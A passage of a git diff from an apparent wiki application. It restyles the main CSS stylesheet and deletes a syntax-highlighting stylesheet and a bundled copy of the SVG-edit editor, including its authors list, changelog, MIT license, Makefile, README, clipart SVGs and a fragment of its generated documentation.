-background-color:#FFF;
-color:#333;
-font-family:Verdana, Arial, Helvetica, sans-serif;
-font-size:1em;
-line-height:1.3em;
-}
-
-.skipNav {
-position:relative;
-left:-1000em;
-font-size:0em;
-}
-
 #Container {
-margin:0 10px;
-text-align:center;
+	float: none;
+	margin: 0 auto;
+	text-align: center;
 }
 
 #Content {
-border-top:none;
-margin:auto;
-padding:0.3em;
-text-align:left;
-width:100%;
-max-width:55em;
+	margin: 0;
+	padding: 5px;
+	text-align: left;
+	border-top: none;
+	float: left;
 }
 
-a:visited {
-color:#666;
+body { background-color: #fff; color: #333; }
+
+body, p, ol, ul, td {
+	font-family: verdana, arial, helvetica, sans-serif;
+	font-size:   13px;
+	line-height: 18px;
 }
 
-h1,h2,h3,h4,h5,h6 {
-color:#333;
-font-family:georgia, verdana, sans-serif;
+a { color: #000; }
+a:visited { color: #666; }
+a:hover { 
+  color: #fff; 
+  background-color:#000; 
 }
 
-h1 {
-font-size:200%;
-}
+.newWikiWord { background-color: #eee; }
+.newWikiWord a:hover { background-color: white; }
 
-h2 {
-font-size:173%;
-}
-
-h3 {
-font-size:144%;
-}
-
-h4 {
-font-size:120%;
-}
-
-h5,h6 {
-font-size:100%
-}
+h1, h2, h3 { color: #333; font-family: georgia, verdana, sans-serif; }
+h1 { font-size: 28px }
+h2 { font-size: 19px }
+h3 { font-size: 16px }
 
 h1#pageName {
-line-height:1em;
-margin:0.2em 0 0.2em 0;
-padding:0;
+  margin: 5px 0 0;
+  padding: 0;
+  line-height: 28px;
 }
 
-#svg_logo {
-float:left;
-margin:.5em .25em 0 -.625em;
-width:1.5em;
-height:1.625em;
+h1#pageName small {
+  color: #444;
+  line-height: 10px;
+  font-size: 10px;
+  padding: 0;
 }
 
-a.nav,a:link.nav, a:visited.nav {
-background-color:#FFF;
-color:#000;
-}
+a.nav, a.nav:link, a.nav:visited { color: #000; }
+a.nav:hover { color: #fff; background-color:#000; }
 
-table {
-border:double #000;
-border-collapse:collapse;
-}
-
-td {
-border:thin solid #888;
-}
-
-li {
-margin-bottom:0.5em;
-}
-
-.newWikiWord {
-background-color:#DDD;
-}
-
-.newWikiWord a:hover {
-background-color:#FFF;
-}
-
-.deleteWikiWord {
-background-color:#FCC;
-border: 3px solid blue;
-padding: 2px;
-}
-
-.badWikiWord {
-background-color:#FCC;
-border: 1px solid blue;
-padding: 1px;
-}
-
-.deleteWikiWord:hover, .deleteWikiWord a:hover {
-background-color:#F88;
-}
-
-
-form#navigationSearchForm {
-display:inline;
-}
-
-form#navigationSearchForm input {
-font-size:80%;
-}
+li { margin-bottom: 7px }
 
 .navigation {
-color:#555;
-font-size:90%;
-margin-top:0.3em;
+  margin-top: 5px;
+  font-size : 12px;
+  color: #999;
 }
 
-.navigation a:hover {
-background-color:#000;
-color:#FFF;
-text-decoration:none;
-}
+.navigation a:hover { color: #fff; background-color:#000; }
 
 .navigation a {
-color:#000;
-font-weight:bold;
+  font-size: 11px;
+  color: black;
+  font-weight: bold;
 }
 
 .navigation small a {
-font-size:90%;
-font-weight:normal;
+  font-weight: normal;
+  font-size: 11px;
+}
+  
+.navOn{
+  font-size: 11px;
+  color: #444;
+  font-weight: bold;
+  text-decoration: none;
 }
 
-.navOn {
-color:#444;
-font-weight:bold;
-text-decoration:none;
+.help {
+  font-family: verdana, arial, helvetica, sans-serif;
+  font-size: 11px;
 }
 
-div.help {
-font-family:verdana, arial, helvetica, sans-serif;
-font-size:75%;
-}
-
-div.inputBox {
-background-color:#EEE;
-font-family:verdana, arial, helvetica, sans-serif;
-font-size:80%;
-margin-bottom:1.5em;
-padding:0.3em;
+.inputBox {
+  font-family: verdana, arial, helvetica, sans-serif;
+  font-size: 11px;
+  background-color: #eee;
+  padding: 5px;
+  margin-bottom: 20px;
 }
 
 blockquote {
-display:block;
-font-size:90%;
-font-style:italic;
-line-height:1.5em;
-margin:0 0 1.5em;
-padding:0 2.5em;
+  display: block;
+  margin: 0px 0px 20px 0px;
+  padding: 0px 30px;
+  font-size:11px;
+  line-height:17px;
+  font-style: italic;  
 }
 
 pre {
-background-color:#DDD;
-font-size:90%;
-overflow:auto;
-padding:1em;
+  background-color: #eee;
+  padding: 10px;
+  font-size: 11px;
+  overflow: auto;
 }
 
 ol.setup {
-font-family:georgia, verdana, sans-serif;
-font-size:110%;
-margin-top:1em;
-padding-left:1.5em;
+  font-size: 19px;
+  font-family: georgia, verdana, sans-serif;
+  padding-left: 25px;
+}
+
+ol.setup li {
+  margin-bottom: 20px
 }
 
 .byline {
-color:#666;
-font-size:.8em;
-font-style:italic;
-margin-bottom:1em;
-padding-top:1px;
+  font-size: 10px;
+  font-style: italic;  
+  margin-bottom: 10px;
+  color: #999;
 }
 
-p.show_diff {
-background: #eee;
-padding: 3px;
-border: 1px solid silver;
-font-size:.85em;
+.references {
+  font-size: 10px;
 }
 
-span.webName {
-font-size:.5em;
+.diffdel, del.diffmod {
+  background: pink;
 }
 
-span.views, span.linked {
-font-size:.85em;
-}
-.views a, .linked a {
-font-weight: normal
-}
-span.revisions {
-font-size:.95em
-}
-
-#allPages, #wantedPages {
-float: left;
-width: 280px;
-}
-#allPages {
-margin-right: 30px;
-}
-#allPages h2, #wantedPages h2 {
-font-size: 1.2em;
-}
-#allPages label {
-font-size: .8em;
-}
-
-.pageType {
-font-size: .75em;
-font-style: italic;
-}
-
-p.pageStats, span.unlock {
-font-size: .85em;
-}
-
-.diffdel,del.diffmod, .diffdel *, del.diffmod * {
-background-color:#FAA;
-text-decoration:line-through;
-}
-
-.diffins,ins.diffmod, .diffins *, ins.diffmod * {
-background-color:#AFA;
-text-decoration:underline;
-}
-
-.diffmod, .diffmod * {
-border: 2px solid #FE0;
+.diffins, ins.diffmod {
+  background: lightgreen;
 }
 
 #footer {
-color:#666;
-font-size:.75em;
-font-style:italic;
-line-height:1.2em;
-padding-top:2em;
-text-align:right;
+  height: 14px;
+  padding: .25em 0;
 }
 
-#footer a:link,#footer a:visited {
-color:#777;
-font-style:italic;
-}
-#footer a:hover {
-color:#FFF;
+#footer p {
+  font-size: 10px;
+  color: gray;
+  font-style: italic;
+  margin: 0;
+  float: right;
+  text-align: right;
 }
 
-div.web_normal {
-	padding:4px;
+#error {
+  color: #8b0000;
+  font-style: italic;
+  width: 600px;
 }
 
-div.web_protected {
-	padding:4px;
-	background-color:#DDD;
+#info {
+  color: #006400;
+  font-style: italic;
+  width: 600px;
 }
 
-div.inputFieldWithPrompt {
-margin:0.75em 0;
+#TextileHelp table {
+  margin-bottom: 0;
 }
 
-div.errorExplanation {
-background-color:#FFA;
-color:#900;
-font-style:italic;
-font-weight:bold;
-margin:1.5em 0;
-padding:1em;
-width:100%;
+#TextileHelp table+h3 {
+  margin-top: 11px;
 }
 
-div.errorExplanation h2 {
-display:none;
+#TextileHelp table td {
+  font-size: 11px;
+  padding: 3px;
+  vertical-align: top;
+  border-top: 1px dotted #ccc;
 }
 
-div.errorExplanation ul {
-border:none;
-margin:0.5em 0 0 2em;
-padding:0;
+#TextileHelp table td.arrow {
+  padding-right: 5px;
+  padding-left: 10px;
+  color: #999;
 }
 
-div.fieldWithErrors input {
-border:1px solid #900;
+#TextileHelp table td.label {
+  font-weight: bold;
+  white-space: nowrap;
+  font-size: 10px;
+  padding-right: 15px;
+  color: #000;
 }
 
-div.info {
-background-color:#DDD;
-font-weight:bold;
-margin-top:0.5em;
-padding:0.5em;
-width:100%;
+#TextileHelp h3 {
+  font-size: 11px;
+  font-weight: bold;
+  font-weight: normal;
+  margin: 0 0 5px 0;
+  padding: 5px 0 0 0;
 }
 
-div#editFormButtons {
-margin:0.5em 0 0;
+#TextileHelp p {
+  font-size: 10px;
 }
 
-div#editFormButtons span {
-white-space:nowrap;
+.rightHandSide {
+  float: right;
+  width: 147px;
+  margin-left: 10px;
+  padding-left: 20px;
+  border-left: 1px dotted #ccc;
 }
 
-div#editForm textarea#content {
+.rightHandSide p {
+  font-size: 10px;
 }
-
-div#MarkupHelp {
-float:right;
-margin-top:0.5em;
-width:25%;
-}
-
-div#MarkupHelp table {
-border-bottom:3px solid #BBB;
-border-left:3px solid #999;
-border-right:3px solid #BBB;
-border-top:3px solid #999;
-margin-bottom:0;
-}
-
-div#MarkupHelp td {
-border:1px solid #999;
-border-width:1px 0;
-font-size:80%;
-margin:0;
-padding:0.2em;
-vertical-align:top;
-white-space:nowrap;
-}
-
-div#MarkupHelp td.arrow {
-color:#666;
-padding:0 0.75em 0 0;
-}
-
-div#MarkupHelp h3 {
-font-size:90%;
-font-weight:bold;
-margin:0 0 5px;
-padding:5px 0 0;
-}
-
-div#MarkupHelp p {
-font-size:70%;
-}
-
-div.rightHandSide {
-border-left:1px dotted #ccc;
-border-bottom:1px dotted #ccc;
-float:right;
-font-size:80%;
-margin-left:0.7em;
-padding-left:1.5em;
-width:25%;
-}
-
+ 
 .newsList {
-margin-top:1.5em;
+  margin-top: 20px;
 }
 
 .newsList p {
-margin-bottom:2.5em;
+  margin-bottom:30px
 }
 
+td {border:thin solid grey;}
+table {
+   border:  double black;
+   border-collapse: collapse;
+}
+
+.byline {
+  padding-top: 15px;
+}
+
+/* Affects the display of "category: ..." */
 .property {
-color:#666;
-font-size:80%;
+  color: grey;
+  font-size: 10px;
 }
-
-a,li span {
-color:#000;
-}
-
-a.existingWikiWord[title]{
-//border: 1px dashed #BBB;
-}
-
-.web_protected a.existingWikiWord[title], .web_normal a.existingWikiWord[title] {
-// border: none;
-}
-
-a:hover, a.nav:hover, a:hover math {
-background-color:#000;
-color:#FFF;
-}
-
-a:hover.existingWikiWord, a:visited:hover.existingWikiWord {
-background-color:#008;
-color:#FFF;
-}
-a:hover.existingWikiWord[title] {
-background-color:#707;
-color:#FFF;
-}
-.web_protected a:hover.existingWikiWord[title], .web_normal a:hover.existingWikiWord[title] {
-background-color:#000;
-color:#FFF;
-}
-
-div.errorExplanation p,div.errorExplanation li {
-border:none;
-margin:0;
-padding:0;
-}
-
-textarea#content {
-font-size: 1em;
-line-height: 1.125;
-}
-
-ul#sortable_pages {
-list-style-type:none;
-padding-left:0;
-}
-ul#sortable_pages li {
-border: 1px solid #FFF;
-}
-ul#sortable_pages li:hover, ul#sortable_pages li:focus {
-border: 1px solid blue;
-}
-
-merror {display:inline;font-size:1em;}
-math[display=block] {overflow:auto;}
-math { white-space: nowrap }
-.maruku-eq-number {float:right}
-.maruku-equation {text-align:center}
-.blockquotesource {margin-left:1em;}
-fieldset.search {display:inline; border:none;padding:0;margin:0;top:5px;position:relative;}
-span.keyboard {
- background: #CCC;
- color: #000;
- border: outset 2px;
- font-family:verdana, arial, sans-serif;
- font-size: .7em;
- margin-left:5px;
- padding:1px 2px;
-}
-.centeredfigure {
- position:relative;
- margin:auto;
- text-align:center;
-}
-
-body {counter-reset: theorem lemma proposition corollary definition example remark note}
-.un_theorem *, .num_theorem *,
-.un_lemma *, .num_lemma *,
-.un_prop *, .num_prop *,
-.un_cor *, .num_cor * {font-style: italic}
-span.theorem_label {font-style:normal; font-weight:bold;}
-.proof span.theorem_label {font-style:italic;}
-.num_theorem .theorem_label:after {
-   content: " " counter(theorem); counter-increment: theorem;}
-.num_lemma .theorem_label:after {
-   content: " " counter(lemma); counter-increment: lemma;}
-.num_prop .theorem_label:after {
-   content: " " counter(proposition); counter-increment: proposition;}
-.num_cor .theorem_label:after {
-   content: " " counter(corollary); counter-increment: corollary;}
-.num_defn .theorem_label:after {
-   content: " " counter(definition); counter-increment: definition;}
-.num_example .theorem_label:after {
-   content: " " counter(example); counter-increment: example;}
-.num_remark .theorem_label:after {
-   content: " " counter(remark); counter-increment: remark;}
-.num_note .theorem_label:after {
-   content: " " counter(note); counter-increment: note;}
-.tombstone {text-align:right;}
-
-/* Hack for Mozilla bug 449396 */
-[mathvariant="bold"] *  {
-  font-style: normal;
-  font-variant: normal;
-  font-weight: bold;
-}
-[mathvariant="italic"] *  {
-  font-style: italic;
-  font-variant: normal;
-  font-weight: normal;
-}
-[mathvariant="bold-italic"] *  {
-  font-style: italic;
-  font-variant: normal;
-  font-weight: bold;
-}
-[mathvariant="sans-serif"] *  {
-  font-style: normal;
-  font-variant: normal;
-  font-weight: normal;
-}
-[mathvariant="bold-sans-serif"] *  {
-  font-style: normal;
-  font-variant: normal;
-  font-weight: bold;
-}
-[mathvariant="sans-serif-italic"] *  {
-  font-style: italic;
-  font-variant: normal;
-  font-weight: normal;
-}
-[mathvariant="sans-serif-bold-italic"] *  {
-  font-style: italic;
-  font-variant: normal;
-  font-weight: bold;
-}
-[actiontype="toggle"]:hover {text-shadow: #ccc 2px 2px 5px;}
diff --git a/public/stylesheets/syntax.css b/public/stylesheets/syntax.css
deleted file mode 100644
index 2ee46f63..00000000
--- a/public/stylesheets/syntax.css
+++ /dev/null
@@ -1,119 +0,0 @@
-pre.ansic .normal {}
-pre.ansic .comment { color: #00F; }
-pre.ansic .keyword { color: #A00; }
-pre.ansic .predefined_types { color: #D00; }
-pre.ansic .char { color: #F07; }
-pre.ansic .ident { color: #004; }
-pre.ansic .hex { color: #F99; }
-pre.ansic .oct { color: #F99; }
-pre.ansic .integer { color: #F99; }
-pre.ansic .float { color: #F99; }
-pre.ansic .string { color: #494; }
-pre.ansic .preprocessor { color: #D0D; }
-pre.ansic .other { color: black; }
-
-pre.fortran .normal {}
-pre.fortran .string { color: #494; }
-pre.fortran .number { color: #D0D; }
-pre.fortran .comment { color: #00F; }
-pre.fortran .keyword { color: #A00; }
-pre.fortran .type { color: #D00; }
-pre.fortran .symbol { color: #008B8B; }
-pre.fortran .function { color: #F07; }
-
-pre.css21 .normal {}
-pre.css21 .comment { color: #888; }
-pre.css21 .cdo { color: #666; }
-pre.css21 .cdc { color: #666; }
-pre.css21 .string { color: #494; }
-pre.css21 .invalid { color: #FF0000; }
-pre.css21 .keyword { color: #BB0000; }
-pre.css21 .property {font-size: 1em; color:  #ff4500; }
-pre.css21 .ident { color: #000080; }
-pre.css21 .id { color: #0000FF; }
-pre.css21 .important { color: #EE0000; background: #ffd700;}
-/* @ keywords */
-pre.css21 .import { color: #A0A; }
-pre.css21 .page { color: #A0A; }
-pre.css21 .media { color: #A0A; }
-pre.css21 .charset { color: #A0A; }
-pre.css21 .uri { color: #7BB; }
-pre.css21 .function { color: #077; }
-/* numbers */
-pre.css21 .hash { color: #07F; }
-pre.css21 .ems { color: #07F; }
-pre.css21 .exs { color: #07F; }
-pre.css21 .length { color: #07F; }
-pre.css21 .angle { color: #07F; }
-pre.css21 .time { color: #07F; }
-pre.css21 .freq { color: #07F; }
-pre.css21 .dimension { color: #07F; }
-pre.css21 .percentage { color: #07F; }
-pre.css21 .number { color: #07F; }
-/* html 4.01 tags */
-pre.css21 .tag { color: #008000; }
-
-pre.javascript .normal {}
-pre.javascript .comment { color: #00A; }
-pre.javascript .keyword { color: #A00; }
-pre.javascript .predefined_types { color: #DD0000; }
-pre.javascript .char { color: #F07; }
-pre.javascript .ident { color: #004; }
-pre.javascript .hex { color: #F99; }
-pre.javascript .oct { color: #F99; }
-pre.javascript .integer { color: #F99; }
-pre.javascript .float { color: #F99; }
-pre.javascript .unicode { color: #F99; }
-pre.javascript .string { color: #494;}
-pre.javascript .other { color: #808; }
-
-pre.sqlite .normal {}
-pre.sqlite .comment { color: #33F; }
-pre.sqlite .function { color: #077; }
-pre.sqlite .keyword { color: #A00; }
-pre.sqlite .operator { color: #0A0; }
-pre.sqlite .datatype { color: #DD0000; }
-pre.sqlite .ident { color: #004; }
-pre.sqlite .string { color: #A4A; }
-pre.sqlite .other { color: black; }
-
-pre.yaml .normal {}
-pre.yaml .document { font-weight: bold; color: #07F; }
-pre.yaml .type { font-weight: bold; color: #05C; }
-pre.yaml .key { color: #F88; }
-pre.yaml .comment { color: #005; font-style: italic; }
-pre.yaml .punct { color: #447; font-weight: bold; }
-pre.yaml .string { color: #944; }
-pre.yaml .number { color: #F99; }
-pre.yaml .time { color: #F99; }
-pre.yaml .date { color: #F99; }
-pre.yaml .ref { color: #944; }
-pre.yaml .anchor { color: #944; }
-
-pre.ruby .normal {}
-pre.ruby span.attribute { color: #090; }
-pre.ruby span.char { color: #F00; }
-pre.ruby span.class { color: #A020F0; font-weight: bold; }
-pre.ruby span.comment { color: #00F; }
-pre.ruby span.constant { color: #008B8B; }
-pre.ruby span.escape { color: #6A5ACD; }
-pre.ruby span.expr { color: #22C; }
-pre.ruby span.global { color: #1A4; }
-pre.ruby span.ident { color: #004; }
-pre.ruby span.keyword { color: #A52A2A; font-weight: bold; }
-pre.ruby span.method { color: #008B8B; }
-pre.ruby span.module { color: #A020F0; font-weight: bold; }
-pre.ruby span.number { color: #D0D; }
-pre.ruby span.punct { color: #6A5ACD; }
-pre.ruby span.regex { color: #D0D; }
-pre.ruby span.string { color: #D0D; }
-pre.ruby span.symbol { color: #008B8B; }
-
-pre.xml .normal {}
-pre.xml .namespace { color: #D66; font-weight: bold; }
-pre.xml .tag { color: #F55; }
-pre.xml .comment { color: #070; font-style: italic; }
-pre.xml .punct { color: #449; font-weight: bold; }
-pre.xml .string { color: #949; }
-pre.xml .number { color: #F99; }
-pre.xml .attribute { color: #771; }
diff --git a/public/svg-edit/AUTHORS b/public/svg-edit/AUTHORS
deleted file mode 100644
index 2e0fe8d9..00000000
--- a/public/svg-edit/AUTHORS
+++ /dev/null
@@ -1,22 +0,0 @@
-Narendra Sisodiya <narendra.sisodiya@gmail.com>
-Pavol Rusnak <rusnakp@gmail.com>
-Jeff Schiller <codedread@gmail.com>
-Vidar Hokstad <vidar.hokstad@gmail.com>
-Alexis Deveria <adeveria@gmail.com>
-
-Translation credits:
-
-ar: Tarik Belaam <dubraise@gmail.com> (العربية)
-cs: Jan Ptacek <jan.ptacek@gmail.com> (Čeština)
-de: Reimar Bauer <rb.proj@googlemail.com> (Deutsch)
-es: Alicia Puerto <alicia.puerto.g@gmail.com> (Español)
-fa: Payman Delshad <payman@opera.com> (فارسی)
-fr: wormsxulla <wormsxulla@yahoo.com> (Français)
-fy: Wander Nauta <info@wandernauta.nl> (Frysk)
-hi: Tavish Naruka <tavishnaruka@gmail.com> (हिन्दी)
-ja: Dong <iwadon@yarhalla.jpn.org> (日本語)
-nl: Jaap Blom <jaap.blom@gmail.com> (Nederlands)
-ro: Christian Tzurcanu <christian.tzurcanu@gmail.com> (Româneşte)
-ru: Laurent Dufloux <laurent.dufloux@etu.upmc.fr> (Русский)
-sk: Pavol Rusnak <rusnakp@gmail.com> (Slovenčina)
-zh-TW: 黃瀚生 (Han Sheng Huang) <zenixls2@gmail.com> (台灣正體)
diff --git a/public/svg-edit/CHANGES b/public/svg-edit/CHANGES
deleted file mode 100644
index c8e4c86e..00000000
--- a/public/svg-edit/CHANGES
+++ /dev/null
@@ -1,72 +0,0 @@
-2.4 - January 11, 2010
--------------------
-* Zoom
-* Layers
-* UI Localization
-* Wireframe Mode
-* Resizable UI (SVG icons)
-* Set background color and/or image (for tracing)
-* Convert Shapes to Paths  
-* X, Y coordinates for all elements
-* Draggable Dialog boxes
-* Select Non-Adjacent Elements
-* Fixed-ratio resize
-* Automatic Tool Switching
-* Raster Images
-* Group elements
-* Add/Remove path nodes
-* Curved Paths
-* Floating point values for all attributes
-* Text fields for all attributes 
-* Title element
-    
-2.3 - September 08, 2009
--------------------
-* Align Objects 
-* Rotate Objects 
-* Clone Objects 
-* Select Next/Prev Object 
-* Edit SVG Source 
-* Gradient picking 
-* Polygon Mode (Path Editing, Phase 1)
-
-2.2 - July 08, 2009
--------------------
-* Multiselect Mode 
-* Undo/Redo Actions 
-* Resize Elements 
-* Contextual tools for rect, circle, ellipse, line, text elements 
-* Some updated button images 
-* Stretched the UI to fit the browser window 
-* Resizing of the SVG canvas 
-* Upgraded to jPicker 1.0.8 
-
-2.1 - June 17, 2009
--------------------
-* tooltips added to all UI elements
-* fix flyout menus
-* ask before clearing the drawing (suggested by martin.vidner)
-* control group, fill and stroke opacity
-* fix flyouts when using color picker
-* change license from GPLv2 to Apache License v2.0
-* replaced Farbtastic with jPicker, because of the license issues
-* removed dependency on svgcanvas.svg, now created in JavaScript
-* added Select tool
-* using jQuery hosted by Google instead of local version
-* allow dragging of elements
-* save SVG file to separate tab
-* create and edit text elements
-* context panel tools
-* change rect radius, font-family, font-size
-* added keystroke shortcuts for all tools
-* move to top/bottom
-
-2.0 - June 03, 2009
--------------------
-* rewritten SVG-edit, so now it uses OOP
-* draw ellipse, square
-* created HTML interface similar to Inkscape
-
-1.0 - February 06, 2009
--------------------
-* SVG-Edit released
\ No newline at end of file
diff --git a/public/svg-edit/LICENSE b/public/svg-edit/LICENSE
deleted file mode 100644
index b98ac70e..00000000
--- a/public/svg-edit/LICENSE
+++ /dev/null
@@ -1,19 +0,0 @@
-Copyright (c) 2009-2011 by SVG-edit authors (see AUTHORS file)
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/public/svg-edit/Makefile b/public/svg-edit/Makefile
deleted file mode 100644
index 35bfa425..00000000
--- a/public/svg-edit/Makefile
+++ /dev/null
@@ -1,50 +0,0 @@
-NAME=svg-edit
-VERSION=2.5
-PACKAGE=$(NAME)-$(VERSION)
-MAKEDOCS=naturaldocs/NaturalDocs
-CLOSURE=build/tools/closure-compiler.jar
-YUICOMPRESS=build/tools/yuicompressor.jar
-ZIP=zip
-
-all: release firefox opera
-
-build/$(PACKAGE):
-	rm -rf config
-	mkdir config
-	if [ -x $(MAKEDOCS) ] ; then $(MAKEDOCS) -i editor/ -o html docs/ -p config/ -oft -r ; fi
-	mkdir -p build/$(PACKAGE)
-	cp -r editor/* build/$(PACKAGE)
-	-find build/$(PACKAGE) -name .svn -type d -exec rm -rf {} \;
-# minify spin button
-	java -jar $(YUICOMPRESS)  build/$(PACKAGE)/spinbtn/JQuerySpinBtn.js                > build/$(PACKAGE)/spinbtn/JQuerySpinBtn.min.js
-	java -jar $(CLOSURE) --js build/$(PACKAGE)/spinbtn/JQuerySpinBtn.js --js_output_file build/$(PACKAGE)/spinbtn/JQuerySpinBtn.min-closure.js
-# minify SVG-edit files
-	java -jar $(YUICOMPRESS)  build/$(PACKAGE)/svg-editor.js                > build/$(PACKAGE)/svg-editor.min.js
-	java -jar $(CLOSURE) --js build/$(PACKAGE)/svg-editor.js --js_output_file build/$(PACKAGE)/svg-editor.min-closure.js
-	java -jar $(YUICOMPRESS)  build/$(PACKAGE)/svgcanvas.js                 > build/$(PACKAGE)/svgcanvas.min.js
-	java -jar $(CLOSURE) --js build/$(PACKAGE)/svgcanvas.js  --js_output_file build/$(PACKAGE)/svgcanvas.min-closure.js
-# CSS files do not work remotely
-# java -jar $(YUICOMPRESS) build/$(PACKAGE)/spinbtn/JQuerySpinBtn.css > build/$(PACKAGE)/spinbtn/JQuerySpinBtn.min.css
-# java -jar $(YUICOMPRESS) build/$(PACKAGE)/svg-editor.css > build/$(PACKAGE)/svg-editor.min.css
-
-release: build/$(PACKAGE)
-	cd build ; $(ZIP) $(PACKAGE).zip -r $(PACKAGE) ; cd ..
-
-firefox: build/$(PACKAGE)
-	mkdir -p build/firefox/content/editor
-	cp -r firefox-extension/* build/firefox
-	rm -rf build/firefox/content/.svn
-	cp -r build/$(PACKAGE)/* build/firefox/content/editor
-	cd build/firefox ; $(ZIP) ../$(PACKAGE).xpi -r * ; cd ../..
-
-opera: build/$(PACKAGE)
-	mkdir -p build/opera/editor
-	cp opera-widget/* build/opera
-	cp -r build/$(PACKAGE)/* build/opera/editor
-	cd build/opera ; $(ZIP) ../$(PACKAGE).wgt -r * ; cd ../..
-
-clean:
-	rm -rf config
-	rm -rf build/$(PACKAGE)
-	rm -rf build/firefox
-	rm -rf build/opera
diff --git a/public/svg-edit/README b/public/svg-edit/README
deleted file mode 100644
index f8fe9436..00000000
--- a/public/svg-edit/README
+++ /dev/null
@@ -1,21 +0,0 @@
-SVG-edit, a web based SVG editor
-
-http://code.google.com/p/svg-edit/
-
-see AUTHORS file for authors
-
------
-
-SVG-edit contains code from these projects:
-
-jQuery JavaScript Library v1.3.2
-http://jquery.com/
-Copyright (c) 2009 John Resig
-
-jQuery js-Hotkeys
-http://code.google.com/p/js-hotkeys/
-Copyright (c) 2008 Tzury Bar Yochay
-
-jPicker
-http://www.digitalmagicpro.com/jPicker/
-Copyright (c) 2009 Christopher T. Tillman
diff --git a/public/svg-edit/clipart/moon.svg b/public/svg-edit/clipart/moon.svg
deleted file mode 100644
index 179fa669..00000000
--- a/public/svg-edit/clipart/moon.svg
+++ /dev/null
@@ -1,13 +0,0 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<svg width="100" xmlns="http://www.w3.org/2000/svg" height="100" viewBox="0 0 205.5 255.87">
- <g display="inline">
-  <title>Layer 1</title>
-  <path id="svg_1" d="m10.671,231.42c89.543,56.086,188.11-10.029,193.33-94.559-1.7286-101.53-92.171-150.4-160.16-128.01,35.129,15.844,73.4,62.729,73.871,88.013-3.4428,7.5157-5.8714,16.373,1.5286,18.844-2,12.857-18.486,33.571-21.043,40.643-2.5571,7.0714,2.2143,9.8443,5.4429,10.357,0.2,6.0586-4.4429,8.3572-5.3572,12.156-7.9,3.13-8.4714,9.9872-7.3286,14.844-19.714,18.571-20.571,27.143-80.286,37.714z" stroke="#000" stroke-width="5" fill="#f6c700"/>
-  <path id="svg_3" d="m98.193,180.83c2.5851-3.421,7.4852,2.5632,7.1642,5.1572-0.32201,2.594-0.67928,4.0227-3.7143,5.2857" stroke="#000" stroke-width="5" fill="none"/>
-  <path id="svg_4" d="m104.11,166.92c5.5357-0.49998,14.643,3.8472,17.75,2.37,3.1072-1.4771,3.3929-4.6686,2.3572-6.5129" stroke="#000" stroke-width="5" fill="none"/>
-  <path id="svg_5" d="m125.64,171.49c-3.9286,8.2143-3.8572,18.987,4.2143,33.286" stroke="#000" stroke-width="2" fill="none"/>
-  <path id="svg_6" d="m117.91,97.816c9.572,1.8,16.143-9.0571,20.8-10.101,3.057-1.0986,14.057,27.473,21.057,35.616" stroke="#000" stroke-width="5" fill="none"/>
-  <path id="svg_7" d="m129.49,105.78c7.6428-3.6429,11.179,6.5357,12.607,10.929,1.4286,4.3928,7.1428,5.1071,10.857,5.5" stroke="#000" stroke-width="2" fill="none"/>
-  <path id="svg_8" d="m133.91,114.75c0.87856-0.13215,1.6214,4.3107,2.5143,6.8236,1.2857-0.90571,0.82143-1.5129,1.3928-1.9771,0.96429-0.82143,1.6071,3.6657,2.3572,5.1429,4.8572-0.00001,5.4643,0.89286,5.4286,1.9286-3.25,0.21429-5.1786,0.67857-7.5,1.6071-3.7857,2.3214-6.0357,6.6072-7,5.4286-0.32143-1.5,3.3571-4.5357,4-5.4286-3.0714-5.1428-2.0714-13.393-1.1929-13.525z" stroke="#000" fill="#000"/>
- </g>
-</svg>
diff --git a/public/svg-edit/clipart/star.svg b/public/svg-edit/clipart/star.svg
deleted file mode 100644
index 62bb89a4..00000000
--- a/public/svg-edit/clipart/star.svg
+++ /dev/null
@@ -1,4 +0,0 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<svg xmlns="http://www.w3.org/2000/svg" height="100" width="100">
- <path id="svg_1" stroke-linejoin="round" d="M36.536,32.822c12.699-31.856,13.17-31.734,26.356-1.061,34.15,2.198,39.388,9.622,6.513,23.932,19.821,46.047-0.792,28.383-19.842,13.178-22.358,25.013-29.541,22.639-18.782-12.118-7.282-8.501-45.095-18.741,5.755-23.931z" fill-rule="evenodd" stroke="#000" stroke-linecap="round" stroke-miterlimit="4" stroke-width="5" fill="#FF0"/>
-</svg>
diff --git a/public/svg-edit/clipart/sun.svg b/public/svg-edit/clipart/sun.svg
deleted file mode 100644
index df2f5b77..00000000
--- a/public/svg-edit/clipart/sun.svg
+++ /dev/null
@@ -1,3 +0,0 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!-- Created with Inkscape (http://www.inkscape.org/) -->
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-<div id=Content><div class="CClass"><div class=CTopic id=MainTopic><h1 class=CTitle><a name="SvgCanvas"></a>SvgCanvas</h1><div class=CBody><p>The main SvgCanvas class that manages all SVG-related functions</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>container</td><td class=CDLDescription>The container HTML element that should hold the SVG root element</td></tr><tr><td class=CDLEntry>config</td><td class=CDLDescription>An object that contains configuration data</td></tr></table><!--START_ND_SUMMARY--><div class=Summary><div class=STitle>Summary</div><div class=SBorder><table border=0 cellspacing=0 cellpadding=0 class=STable><tr class="SMain"><td class=SEntry><a href="#SvgCanvas" >SvgCanvas</a></td><td class=SDescription>The main SvgCanvas class that manages all SVG-related functions</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SvgCanvas.Utils.toXml" >Utils.<wbr>toXml</a></td><td 